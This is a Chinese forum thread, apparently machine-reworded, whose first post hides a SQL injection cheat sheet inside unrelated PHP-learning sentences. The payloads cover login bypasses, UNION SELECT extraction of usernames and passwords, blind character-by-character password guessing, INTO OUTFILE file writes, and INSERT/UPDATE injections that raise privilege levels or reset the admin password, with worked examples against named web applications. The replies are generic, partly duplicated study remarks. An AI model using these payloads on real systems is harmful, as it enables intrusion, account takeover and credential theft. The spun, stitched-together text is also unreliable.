小妖女 发表于 2015-2-4 00:11:06

PHP编程:PHP打针总结

从刚开始练习的PHP基础语法练习,到PHP语言在WEB中的应用,再到实际的项目开发,如留言版,相册系统,中小型公司网站系统,以及期间做过的有关团队合作的小游戏,让我受益匪浅,学到了很多。   ' or 1=1
' or '1=1
'/*
'%23
' and password='mypass
id=-1 union select 1,1,1
id=-1 union select char(97),char(97),char(97)
id=1 union select 1,1,1 from members
id=1 union select 1,1,1 from admin
id=1 union select 1,1,1 from user
userid=1 and password=mypass
userid=1 and mid(password,3,1)=char(112)
userid=1 and mid(password,4,1)=char(97)
and ord(mid(password,3,1))>111 (ord函数很好用,可以前往整形的)
' and LENGTH(password)='6(探测暗码长度)
' and LEFT(password,1)='m
' and LEFT(password,2)='my
..............................顺次类推
' union select 1,username,password from user/*
' union select 1,username,password from user/*
=' union select 1,username,password from user/* (可所以1或=后直接跟)
99999' union select 1,username,password from user/*
' into outfile 'c:/file.txt (导出文件)
=' or 1=1 into outfile 'c:/file.txt
1' union select 1,username,password from user into outfile 'c:/user.txt
select password FROM admins where login='John' INTO DUMPFILE '/path/to/site/file.txt'
id=' union select 1,username,password from user into outfile
id=-1 union select 1,database(),version() (天真使用查询)
经常使用查询测试语句,
select * FROM table where 1=1
select * FROM table where 'uuu'='uuu'
select * FROM table where 1<>2
select * FROM table where 3>2
select * FROM table where 2<3
select * FROM table where 1
select * FROM table where 1+1
select * FROM table where 1--1
select * FROM table where ISNULL(NULL)
select * FROM table where ISNULL(COT(0))
select * FROM table where 1 IS NOT NULL
select * FROM table where NULL IS NULL
select * FROM table where 2 BETWEEN 1 AND 3
select * FROM table where 'b' BETWEEN 'a' AND 'c'
select * FROM table where 2 IN (0,1,2)
select * FROM table where CASE WHEN 1>0 THEN 1 END

例如:夜猫下载体系1.0版本
id=1 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1
id=10000 union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and groupid=1
union select 1,username,1,password,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 (交换,寻觅暗码)
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,1,1))=49 (验证第一名暗码)
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,2,1))=50 (第二位)
union select 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 from ymdown_user where id=1 and ord(mid(password,3,1))=51
..................................................................

例如2:灰色轨迹 变换id停止测试(meteor)
union%20(select%20allowsmilies,public,userid,'0000-0-0',user (),version()%20FROM%20calendar_events%20where%20eventid%20=% 2013)%20order%20by%20eventdate
union%20(select%20allowsmilies,public,userid,'0000-0-0',pass (),version()%20FROM%20calendar_events%20where%20eventid%20=% 2010)%20order%20by%20eventdate
机关语句:
select allowsmilies,public,userid,eventdate,event,subject FROM calendar_events where eventid = 1 union (select 1,1,1,1,1,1,1 from user where userid=1)
select allowsmilies,public,userid,eventdate,event,subject FROM calendar_events where eventid = 1 union (select 1,1,1,1,username,password from user where userid=1)
union%20(select%201,0,2,'1999-01-01','a',password%20FROM%20u ser%20where%20userid%20=%205)%20order%20by%20eventdate
union%20(select%201,0,12695,'1999-01-01','a',password%20FROM %20user%20where%20userid=13465)%20order%20by%20eventdate
union%20(select%201,0,12695,'1999-01-01','a',userid%20FROM%2 0user%20where%20username='sandflee')%20order%20by%20eventdat e (查沙子的id)


(select a FROM table_name where a=10 AND B=1 ORDER BY a LIMIT 10)
select * FROM article where articleid='$id' union select * FROM......(字段和数据库不异情形下,可直接提交)
select * FROM article where articleid='$id' union select 1,1,1,1,1,1,1 FROM......(分歧的情形下)

特别技能:在表单,搜刮引擎等中央写:
"___"
".__ "
"%
%' ORDER BY articleid/*
%' ORDER BY articleid#
__' ORDER BY articleid/*
__' ORDER BY articleid#

$command = "dir c:\";system($command);
select * FROM article where articleid='$id'
select * FROM article where articleid=$id
1' and 1=2 union select * from user where userid=1/* 句中变成
(select * FROM article where articleid='1' and 1=2 union select * from user where userid=1/*')
1 and 1=2 union select * from user where userid=1

语句模式:创立一个库,拔出:
create DATABASE `injection`
create TABLE `user` (
`userid` int(11) NOT NULL auto_increment,
`username` varchar(20) NOT NULL default '',
`password` varchar(20) NOT NULL default '',
PRIMARY KEY (`userid`)
) ;
insert INTO `user` VALUES (1, 'swap', 'mypass');


插如一个注册用户:
insert INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', '$username', '$password', '$homepage', '1');
"insert INTO membres (login,password,nom,email,userlevel) VALUES ('$login','$pass','$nom','$email','1')";
insert INTO membres (login,password,nom,email,userlevel) VALUES ('','','','','3')#','1')
"insert INTO membres SET login='$login',password='$pass',nom='$nom',email='$email'";
insert INTO membres SET login='',password='',nom='',userlevel='3',email=''
"insert INTO membres VALUES ('$id','$login','$pass','$nom','$email','1')";

update user SET password='$password', homepage='$homepage' where id='$id'
update user SET password='MD5(mypass)' where username='admin'#)', homepage='$homepage' where id='$id'
"update membres SET password='$pass',nom='$nom',email='$email' where id='$id'";
update membres SET password='',nom='',userlevel='3',email=' ' where id=''
"update news SET Votes=Votes+1, score=score+$note where idnews='$id'";

长用函数:
DATABASE()
USER()
SYSTEM_USER()
SESSION_USER()
CURRENT_USER()
好比:
update article SET title=$title where articleid=1 对应函数
update article SET title=DATABASE() where id=1
#把以后数据库名更新到title字段
update article SET title=USER() where id=1
#把以后 MySQL 用户名更新到title字段
update article SET title=SYSTEM_USER() where id=1
#把以后 MySQL 用户名更新到title字段
update article SET title=SESSION_USER() where id=1
#把以后 MySQL 用户名更新到title字段
update article SET title=CURRENT_USER() where id=1
#把以后会话被验证婚配的用户名更新到title字段

:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::
$req = "select * FROM membres where name like '%$search%' ORDER BY name";
select * FROM membres where name like '%%' ORDER BY uid#%' ORDER BY name
select * FROM membres where name like '%%' ORDER BY uid#%' ORDER BY name
select uid FROM admins where login='' OR 'a'='a' AND password='' OR 'a'='a' (经典)
select uid FROM admins where login='' OR admin_level=1#' AND password=''
select * FROM table where msg like '%hop'
select uid FROM membres where login='Bob' AND password like 'a%'#' AND password=''
select * FROM membres where name like '%%' ORDER BY uid#%' ORDER BY name


学会了PHP,那么学其他的语言,肯定速成,反过来也一样,如果你之前学过其他的语言,那么学PHP肯定快。

飘飘悠悠 发表于 2015-2-4 09:50:23

当然这种网站的会员费就几十块钱。

小女巫 发表于 2015-2-6 09:59:30

先学习php和mysql,还有css(html语言很简单)我认为现在的效果比以前的方法好。

兰色精灵 发表于 2015-2-9 00:30:18

其实也不算什么什么心得,在各位大侠算是小巫见大巫了吧,望大家不要见笑,若其中有错误的地方请各位大虾斧正。

admin 发表于 2015-2-25 18:49:27

要进行开发,搭建环境是首先需要做的事,windows下面我习惯把环境那个安装在C盘下面,因为我配的环境经常出现诡异事件,什么事都没做环境有的时候就不能用啦。

透明 发表于 2015-3-7 12:47:36

学习php的目的往往是为了开发动态网站,phper就业的要求也涵盖了很多。我大致总结为:精通php和mysql

变相怪杰 发表于 2015-3-11 12:02:31

本人接触php时间不长,算是phper中的小菜鸟一只吧。由于刚开始学的时候没有名师指,碰过不少疙瘩,呗很多小问题卡过很久,白白浪费不少宝贵的时间,在次分享一些子的学习的心得。

金色的骷髅 发表于 2015-3-11 13:02:50

多看优秀程序员编写的代码,仔细理解他们解决问题的方法,对自身有很大的帮助。

老尸 发表于 2015-3-18 11:29:28

因为blog这样的可以让你接触更多要学的知识,可以接触用到类,模板,js ,ajax

不帅 发表于 2015-3-24 10:40:48

小鸟是第一次发帖(我习惯潜水的(*^__^*) 嘻嘻……),有错误之处还请大家批评指正,另外,前些日子听人说有高手能用php写驱动程序,真是学无止境,人外有人,天外有天。

乐观 发表于 2015-3-25 03:33:29

有时候汉字的空格也能导致页面出错,所以在写代码的时候,要输入空格最好用引文模式。

柔情似水 发表于 2015-4-11 07:08:45

这些都是最基本最常用功能,我们这些菜鸟在系统学习后,可以先对这些功能深入研究。

愤怒的大鸟 发表于 2015-4-11 11:29:44

真正的方向了,如果将来要去开发团队,你一定要学好smarty ,phplib这样的模板引擎,

再现理想 发表于 2015-4-14 07:56:12

先学习php和mysql,还有css(html语言很简单)我认为现在的效果比以前的方法好。

分手快乐 发表于 2015-4-24 02:18:15

先学习php和mysql,还有css(html语言很简单)我认为现在的效果比以前的方法好。

小妖女 发表于 2015-4-25 15:12:33

装在C盘下面可以利用windows的ghost功能可以还原回来(顺便当做是重转啦),当然啦我的编译目录要放在别的盘下,不然自己的劳动成果就悲剧啦。

海妖 发表于 2015-4-26 12:14:49

本文当是我的笔记啦,遇到的问题随时填充

深爱那片海 发表于 2015-5-4 07:38:14

遇到出错的时候,我经常把错误信息直接复制到 google的搜索栏,一般情况都是能搜到结果的,不过有时候会搜出来一大片英文的出来,这时候就得过滤一下,吧中文的弄出来,挨着式方法。

因胸联盟 发表于 2015-5-9 15:07:51

建数据库表的时候,int型要输入长度的,其实是个摆设的输入几位都没影响的,只要大于4就行,囧。

莫相离 发表于 2015-6-12 00:59:33

建议加几个专业的phper的群,当然啦需要说话的人多,一处一点问题能有人回答你的,当然啦要让人回答你的问题,平时就得躲在里面聊天,大家混熟啦,愿意回答你问题的人自然就多啦。
页: [1]
查看完整版本: PHP编程:PHP打针总结